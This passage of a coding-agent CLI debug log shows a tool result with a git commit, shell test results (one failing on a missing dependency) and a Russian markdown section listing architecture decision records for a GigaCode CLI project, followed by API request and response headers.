{\n[2026-09-29T07:59:39.814Z] [INFO]         \"tool_use_id\": \"toolu_01MV1DksUpiQNrbdnnR6A9cE\",\n[2026-09-29T07:59:39.814Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:59:39.814Z] [INFO]         \"content\": \" .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\\n.gitkeep\\nPASS tools/test-bcreq-working-release-pipeline.sh\\nPASS tools/test-check-agent-work-rules-size.sh\\nPASS tools/test-cline-package.sh\\nPASS tools/test-evidence-structure-validator.sh\\nFAIL tools/test-execution-package.sh\\n----------------------------------------------------------------------\\nRan 4 tests in 0.085s\\n\\nOK\\nERROR: install pinned dependencies with pip install -r requirements.txt\\nPASS tools/test-frontmatter-validator.sh\\nPASS tools/test-historical-immutable.sh\\nPASS tools/test-mango-kb-migration-contract.sh\\nPASS tools/test-nonempty-diff.sh\\nPASS tools/test-operating-mode-contract.sh\\nPASS tools/test-post-migration-validator.sh\\nPASS tools/test-reference-research-terminology.sh\\nPASS tools/test-smart-sync.sh\\nPASS tools/test-sprint-5-agent-model.sh\\nPASS tools/test-validate-rrp-links.sh\\n\\n[exited with code 0]\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\",\n[2026-09-29T07:59:39.814Z] [INFO]         \"is_error\": false\n[2026-09-29T07:59:39.814Z] [INFO]       }\n[2026-09-29T07:59:39.814Z] [INFO]     ]\n[2026-09-29T07:59:39.814Z] [INFO]   },\n[2026-09-29T07:59:39.814Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:39.814Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:39.814Z] [INFO]   \"uuid\": \"c2d60329-5b31-40d9-afef-5583525f6c77\",\n[2026-09-29T07:59:39.814Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:39.776Z\",\n[2026-09-29T07:59:39.814Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:59:39.814Z] [INFO]     \"stdout\": \" .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\\n.gitkeep\\nPASS tools/test-bcreq-working-release-pipeline.sh\\nPASS tools/test-check-agent-work-rules-size.sh\\nPASS tools/test-cline-package.sh\\nPASS tools/test-evidence-structure-validator.sh\\nFAIL tools/test-execution-package.sh\\n----------------------------------------------------------------------\\nRan 4 tests in 0.085s\\n\\nOK\\nERROR: install pinned dependencies with pip install -r requirements.txt\\nPASS tools/test-frontmatter-validator.sh\\nPASS tools/test-historical-immutable.sh\\nPASS tools/test-mango-kb-migration-contract.sh\\nPASS tools/test-nonempty-diff.sh\\nPASS tools/test-operating-mode-contract.sh\\nPASS tools/test-post-migration-validator.sh\\nPASS tools/test-reference-research-terminology.sh\\nPASS tools/test-smart-sync.sh\\nPASS tools/test-sprint-5-agent-model.sh\\nPASS tools/test-validate-rrp-links.sh\\n\\n[exited with code 0]\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\",\n[2026-09-29T07:59:39.814Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:59:39.814Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:59:39.814Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:59:39.814Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:59:39.814Z] [INFO]   }\n[2026-09-29T07:59:39.814Z] [INFO] }\n[2026-09-29T07:59:39.869Z] [STDOUT] [log_86e89a] sending request {\n[2026-09-29T07:59:39.876Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:59:39.884Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:39.889Z] [STDOUT]   options: {\n[2026-09-29T07:59:39.899Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:59:39.901Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:59:39.908Z] [STDOUT]     body: {\n[2026-09-29T07:59:39.916Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:59:39.920Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:59:39.929Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:59:39.933Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:59:39.938Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:59:39.943Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:59:39.948Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:59:39.956Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:59:39.958Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:59:39.966Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:59:39.971Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:59:39.975Z] [STDOUT]       stream: true,\n[2026-09-29T07:59:39.983Z] [STDOUT]     },\n[2026-09-29T07:59:39.988Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:59:39.993Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:59:39.999Z] [STDOUT]       aborted: false,\n[2026-09-29T07:59:40.003Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:59:40.006Z] [STDOUT]       onabort: null,\n[2026-09-29T07:59:40.009Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:59:40.022Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:59:40.030Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:59:40.034Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:59:40.043Z] [STDOUT]     },\n[2026-09-29T07:59:40.047Z] [STDOUT]     stream: true,\n[2026-09-29T07:59:40.051Z] [STDOUT]   },\n[2026-09-29T07:59:40.058Z] [STDOUT]   headers: {\n[2026-09-29T07:59:40.069Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:59:40.074Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:59:40.083Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:59:40.091Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:59:40.095Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:59:40.099Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:59:40.104Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:59:40.106Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:59:40.110Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:59:40.116Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1839\",\n[2026-09-29T07:59:40.122Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:59:40.126Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:59:40.131Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:40.136Z] [STDOUT]     \"x-client-request-id\": \"92655016-3c50-4074-a155-681a0fc606f4\",\n[2026-09-29T07:59:40.138Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:59:40.141Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:59:40.148Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:59:40.150Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:59:40.154Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:59:40.157Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:59:40.159Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:59:40.165Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:59:40.167Z] [STDOUT]   },\n[2026-09-29T07:59:40.170Z] [STDOUT] }\n[2026-09-29T07:59:40.735Z] [STDOUT] [log_86e89a, request-id: \"req_011CfXNqnmqQdstf66hgPALo\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 881ms\n[2026-09-29T07:59:40.742Z] [STDOUT] [log_86e89a] response start {\n[2026-09-29T07:59:40.749Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:40.752Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:40.757Z] [STDOUT]   headers: {\n[2026-09-29T07:59:40.759Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:40.765Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:40.768Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:40.774Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:40.777Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:40.781Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:40.783Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:40.788Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:40.791Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:40.793Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:40.797Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:40.800Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:40.802Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:40.806Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:40.809Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:40.811Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:40.813Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:40.816Z] [STDOUT]     \"cf-ray\": \"a42973222c8f5d90-FRA\",\n[2026-09-29T07:59:40.821Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:59:40.823Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:40.826Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:40.828Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:40.831Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:59:40 GMT\",\n[2026-09-29T07:59:40.834Z] [STDOUT]     \"request-id\": \"req_011CfXNqnmqQdstf66hgPALo\",\n[2026-09-29T07:59:40.838Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:59:40.840Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:40.845Z] [STDOUT]     traceresponse: 